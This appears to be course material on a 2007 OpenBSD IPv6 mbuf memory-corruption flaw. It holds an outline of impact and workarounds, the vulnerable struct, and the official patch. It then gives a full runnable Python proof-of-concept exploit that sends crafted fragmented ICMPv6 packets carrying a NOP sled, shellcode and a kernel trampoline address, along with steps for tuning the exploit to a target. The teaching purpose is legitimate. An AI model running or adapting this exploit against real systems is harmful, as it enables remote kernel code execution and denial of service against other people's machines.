Core
Security article detailing threat
==============================================
====== CLASS ======
==============================================
Background
-
OpenBSD
-
4.4 BSD based UNIX
-
Open-source (BSD license)
-
Ultra-secure reputation
-
Web page boasts "Only two remote holes in the default install, in more
than 10 years!"
What the problem is
-
Code that handles IPv6 packets contains a memory corruption vulnerability
-
Possible to:
-
Remotely execute arbitrary code at the kernel level
-
Remotely trigger a kernel panic, causing a DoS
-
Affects OpenBSD 4.1, 4.0, 3.9, 3.8, 3.6, 3.1
How it works
-
Gain control of execution flow by overwriting a function pointer
-
Performing a mirrored 4 byte arbitrary memory overwrite similar to a
user-space heap overflow
How it could have been prevented
-
Proper handling of the kernel memory buffers using mbuf structures
(especially ones used to accommodate processing of IPv6 packets)
Work arounds to use until it gets
patched
-
Users that do not need to process or route IPv6 traffic can block all
inbound IPv6 packets at the firewall
-
Use IPv4
How it will be prevented in the
future
-
Patch released to correct vulnerabilities in mbuf structure
================================================
============== VULNERABLE CODE =================
================================================
struct mbuf {
struct m_hdr m_hdr;
union {
struct {
struct pkthdr MH_pkthdr; /* M_PKTHDR
set */
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf[MHLEN];
} MH_dat;
} MH;
char
M_databuf[MLEN];
/* !M_PKTHDR, !M_EXT */
} M_dat;
};
/* description of external storage mapped into mbuf, valid if M_EXT set */
struct m_ext {
caddr_t
ext_buf;
/* start of buffer */
/* free routine if not the usual -- pointer to a function called when mbuf is
freed */
void
(*ext_free)(caddr_t, u_int, void *);
void
*ext_arg;
/* argument for ext_free */
u_int
ext_size;
/* size of buffer, for ext_free */
int
ext_type;
struct mbuf *ext_nextref;
struct mbuf *ext_prevref;
#ifdef DEBUG
const char *ext_ofile;
const char *ext_nfile;
int ext_oline;
int ext_nline;
#endif
};
===================================================
=============== OPENBSD PATCH ====================
===================================================
Apply by doing:
cd /usr/src
patch -p0 < 010_m_dup1.patch
And then rebuild your kernel.
Index: sys/kern/uipc_mbuf2.c
===================================================================
RCS file: /cvs/src/sys/kern/uipc_mbuf2.c,v
retrieving revision 1.24
retrieving revision 1.24.2.1
diff -u -p -r1.24 -r1.24.2.1
--- sys/kern/uipc_mbuf2.c 17 Mar 2006 04:15:51
-0000 1.24
+++ sys/kern/uipc_mbuf2.c 7 Mar 2007 19:21:48
-0000 1.24.2.1
@@ -1,4 +1,4 @@
-/* $OpenBSD: uipc_mbuf2.c,v 1.24 2006/03/17 04:15:51 brad Exp
$ */
+/* $OpenBSD: uipc_mbuf2.c,v 1.24.2.1 2007/03/07 19:21:48
deraadt Exp $ */
/* $KAME: uipc_mbuf2.c,v 1.29 2001/02/14 13:42:10 itojun
Exp $ */
/* $NetBSD: uipc_mbuf.c,v 1.40 1999/04/01 00:23:25
thorpej Exp $ */
@@ -226,16 +226,14 @@ m_dup1(struct mbuf *m, int off, int len,
{
struct mbuf *n;
int l;
- int copyhdr;
if (len > MCLBYTES)
return (NULL);
if (off == 0 && (m->m_flags & M_PKTHDR)
!= 0) {
- copyhdr = 1;
MGETHDR(n, wait, m->m_type);
+ M_DUP_PKTHDR(n, m);
l = MHLEN;
} else {
- copyhdr = 0;
MGET(n, wait, m->m_type);
l = MLEN;
}
@@ -249,8 +247,6 @@ m_dup1(struct mbuf *m, int off, int len,
if (!n)
return (NULL);
- if (copyhdr)
- M_DUP_PKTHDR(n, m);
m_copydata(m, off, len, mtod(n, caddr_t));
n->m_len = len;
==================================================
==============ATTACK CODE =======================
==================================================
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code.
To find a proper trampoline value use the following command:
"objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum
--------------------icmp.py---------------------
#
# Description:
# OpenBSD ICMPv6 fragment remote execution PoC
#
# Author:
# Alfredo Ortega
# Mario Vilas
#
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved
from impacket import ImpactPacket
import struct
import socket
import time
class BSD_ICMPv6_Remote_BO:
MACADDRESS =
(0x00,0x0c,0x29,0x44,0x68,0x6f)
def Run(self):
self.s =
socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
self.s.bind(('eth0',0x86dd))
sourceIP =
'\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' #
source address
destIP =
'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' #
destination address Multicast Link-level
firstFragment, secondFragment =
self.buildOpenBSDPackets(sourceIP,destIP)
validIcmp = self.buildValidICMPPacket(sourceIP,destIP)
for i in range(100): # fill mbufs
self.sendpacket(firstFragment)
self.sendpacket(validIcmp)
time.sleep(0.01)
for i in range(2): # Number of overflow packets to send.
Increase if exploit is not reliable
self.sendpacket(secondFragment)
time.sleep(0.1)
self.sendpacket(firstFragment)
self.sendpacket(validIcmp)
time.sleep(0.1)
def sendpacket(self,
data):
ipe = ImpactPacket.Ethernet()
ipe.set_ether_dhost(self.MACADDRESS)
ipd = ImpactPacket.Data(data)
ipd.ethertype = 0x86dd #
Ethertype for IPv6
ipe.contains(ipd)
p = ipe.get_packet()
self.s.send(p)
def
buildOpenBSDPackets(self,sourceIP,destIP):
HopByHopLenght= 1
IPv6FragmentationHeader = ''
IPv6FragmentationHeader +=
struct.pack('!B', 0x3a) # next header (00: Hop by Hop)
IPv6FragmentationHeader +=
struct.pack('!B', 0x00) # reserverd
IPv6FragmentationHeader +=
struct.pack('!B', 0x00) # offset
IPv6FragmentationHeader +=
struct.pack('!B', 0x01) # offset + More fragments: yes
IPv6FragmentationHeader +=
struct.pack('>L', 0x0EADBABE) # id
IPv6HopByHopHeader = ''
IPv6HopByHopHeader +=
struct.pack('!B',
0x2c)
# next header (0x3A: ICMP)
IPv6HopByHopHeader +=
struct.pack('!B', HopByHopLenght
) # Hdr Ext Len (frutaaaaaaa :D
)
IPv6HopByHopHeader += '\x00'
*(((HopByHopLenght+1)*8)-2) #
Options
longitud =
len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
print longitud
IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6
<< 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H',
longitud ) # payload length
IPv6Packet +=
'\x00'
# next header (2c: Fragmentation)
IPv6Packet +=
'\x40'
# hop limit
IPv6Packet += sourceIP
IPv6Packet += destIP
firstFragment =
IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)
self.ShellCode = ''
self.ShellCode += '\xcc' # int 3
self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix
ESP and ret
ICMPv6Packet = ''
ICMPv6Packet += '\x80' # type
(128 == Icmp echo request)
ICMPv6Packet += '\x00' # code
ICMPv6Packet +=
'\xfb\x4e' # checksum
ICMPv6Packet += '\x33\xf6' # ID
ICMPv6Packet += '\x00\x00' #
sequence
ICMPv6Packet +=
('\x90'*(212-len(self.ShellCode)))+self.ShellCode
# Start of the next mfub (we land here):
ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump
backwards
ICMPv6Packet +=
'\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'
# mbuf+0x20:
trampoline =
'\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi |
grep jmp")
ICMPv6Packet +=
'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'
longitud = len(ICMPv6Packet)
IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6
<< 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H',
longitud ) # payload length
IPv6Packet +=
'\x2c'
# next header (2c: Fragmentation)
IPv6Packet +=
'\x40'
# hop limit
IPv6Packet += sourceIP
IPv6Packet += destIP
IPv6FragmentationHeader = ''
IPv6FragmentationHeader +=
struct.pack('!B', 0x3a) # next header (3A: icmpV6)
IPv6FragmentationHeader +=
struct.pack('!B', 0x00) # reserverd
IPv6FragmentationHeader +=
struct.pack('!B', 0x00) # offset
IPv6FragmentationHeader +=
struct.pack('!B', 0x00) # offset + More fragments:no
IPv6FragmentationHeader +=
struct.pack('>L', 0x0EADBABE) # id
secondFragment =
IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet
return firstFragment, secondFragment
def
buildValidICMPPacket(self,sourceIP,destIP):
ICMPv6Packet = ''
ICMPv6Packet += '\x80' # type
(128 == Icmp echo request)
ICMPv6Packet += '\x00' # code
ICMPv6Packet +=
'\xcb\xc4' # checksum
ICMPv6Packet += '\x33\xf6' # ID
ICMPv6Packet += '\x00\x00' #
sequence
ICMPv6Packet += 'T'*1232
longitud = len(ICMPv6Packet)
IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6
<< 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H',
longitud ) # payload length
IPv6Packet +=
'\x3A'
# next header (2c: Fragmentation)
IPv6Packet +=
'\x40'
# hop limit
IPv6Packet += sourceIP
IPv6Packet += destIP
icmpPacket = IPv6Packet+ICMPv6Packet
return icmpPacket
attack =
BSD_ICMPv6_Remote_BO()
attack.Run()
--------------------icmp.py---------------------